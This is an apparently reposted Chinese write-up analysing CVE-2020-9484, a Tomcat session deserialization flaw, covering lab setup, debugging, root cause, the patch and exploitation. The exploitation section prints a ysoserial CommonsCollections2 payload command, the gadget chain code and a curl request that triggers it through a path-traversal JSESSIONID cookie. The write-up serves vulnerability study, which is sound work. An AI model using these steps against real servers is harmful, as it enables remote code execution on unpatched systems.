中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

發布時間:2021-12-17 16:20:09 來源:億速云 閱讀:193 作者:柒染 欄目:網絡管理

這篇文章給大家介紹CVE-2020-9484 tomcat session反序列化漏洞的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

下面借助CVE-2020-9484 Tomcat漏洞詳細的介紹了本地和遠程調試Tomcat 源碼。分析漏洞成因以及補丁修補情況,以及分析ysoserial反序列化鏈。

0x01 漏洞簡介

Apache Tomcat發布通告稱修復了一個源于持久化Session的遠程代碼執行漏洞(CVE-2020-9484)。漏洞條件比較苛刻: 1. tomcat必須啟用session持久化功能FileStore 2. tomcat/lib或者WEB-INF/lib目錄下的依賴存在可用的gadget 3. 在服務器上存在已知路徑文件內容可控

0x02 影響范圍

Apache Tomcat 10.x < 10.0.0-M5
Apache Tomcat 9.x < 9.0.35
Apache Tomcat 8.x < 8.5.55
Apache Tomcat 7.x < 7.0.104

0x03 漏洞依賴條件

從官網下載tomcat 8.5.30

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x1 配置session持久化

conf/context.xml

   <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1"><Store className="org.apache.catalina.session.FileStore" directory="./session" /></Manager>

0x2 部署Gadgets jar包

下載commons-collections4-4.0.jar 并放在tomcat lib/目錄下

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x04 多種 Tomcat 調試方法

0x1 本地調試

利用intellij idea 進行本地調試,創建項目、添加tomcat服務、添加tomcat源碼包、配置項目lib庫文件

Step1 創建項目

創建web Application項目

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

Step2 添加tomcat服務

選擇configurations 配置tomcat 服務信息如下圖所示

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

選擇tomcat local ,tomcat 路徑、配置端口等

Step3 添加tomcat源碼

在intellij idea中添加tomcat 源碼

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

Step4 配置項目lib庫文件

為了使得代碼能夠索引方便調試,將tomcat 相關jar以及源碼設成為library,如下圖所示

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x2 遠程調試

利用intellij idea 進行遠程調試,修改默認啟動腳本、添加remote調試配置

0x1 修改啟動腳本

修改catalina.bat添加debug配置,調試端口為 5005,這是要檢驗端口有沒有被防火墻禁掉

CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"

查看端口是否開放

╰─?  lsof -i:5005                                                                                1 ?
COMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
java    65934 xx 6u  IPv4 0x66cb19ff98f7365b      0t0  TCP localhost:avt-profile-2 (LISTEN)

0x2 打開項目

直接打開tomcat 8.5.30 源代碼

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x3 配置debug屬性

在intellij idea中配置debug ip及port

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x05 漏洞原理及觸發分析

當使用tomcat時,如果使用了tomcat提供的session持久化功能,就會在一次會話中嘗試讀取session文件中的內容,并進行反序列化。

具體邏輯如下:

0x1 路徑拼接

如果打開了session 持久化 那么tomcat將會把session 的名稱作為文件名并進行讀取。

java 路徑 org.apache.catalina.session.FileStore:

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

在file函數中直接將id作為文件名進行拼接,這里可以進行路徑穿越到根目錄,如下圖所示:

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x2 反序列化

Tomcat拼接過路徑之后把讀取的文件內容帶入反序列化函數,如果此時存在文件上傳漏洞,就可以達到反序列化RCE的效果。

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x06 漏洞利用

0x1 生成payload

通過Ysoserial 生成反序列化文件,生成方式和原理如下,生成彈出計算器的CommonsCollections2 反序列化payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2  "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session

生成payload的關鍵代碼

@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({"frohoff"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
    public CommonsCollections2() {
    }

    public Queue<Object> getObject(String command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer));
        queue.add(1);
        queue.add(1);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
        Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = templates;
        queueArray[1] = 1;
        return queue;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections2.class, args);
    }
}

完整漏洞利用鏈

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

具體關于利用鏈相關可參考 https://xz.aliyun.com/t/1756

0x2 觸發

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'

通過錯誤回顯也可看出調用棧

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

0x07 漏洞補丁

從github tomcat 8.5.55 可以看出漏洞修補在文件判斷上,目前沒有找到繞過的姿勢

CVE-2020-9484 tomcat session反序列化漏洞的示例分析

關于CVE-2020-9484 tomcat session反序列化漏洞的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

余姚市| 郑州市| 阿拉尔市| 柳江县| 姜堰市| 商河县| 桑植县| 泰来县| 突泉县| 广灵县| 融水| 三台县| 沂水县| 临泉县| 依安县| 禄丰县| 永修县| 武安市| 兴宁市| 巴林右旗| 炉霍县| 连江县| 河源市| 垣曲县| 诸暨市| 堆龙德庆县| 山西省| 曲阜市| 阳原县| 邵武市| 商丘市| 宜章县| 喜德县| 资中县| 陆川县| 神农架林区| 绥江县| 丰顺县| 肥西县| 邢台县| 红河县|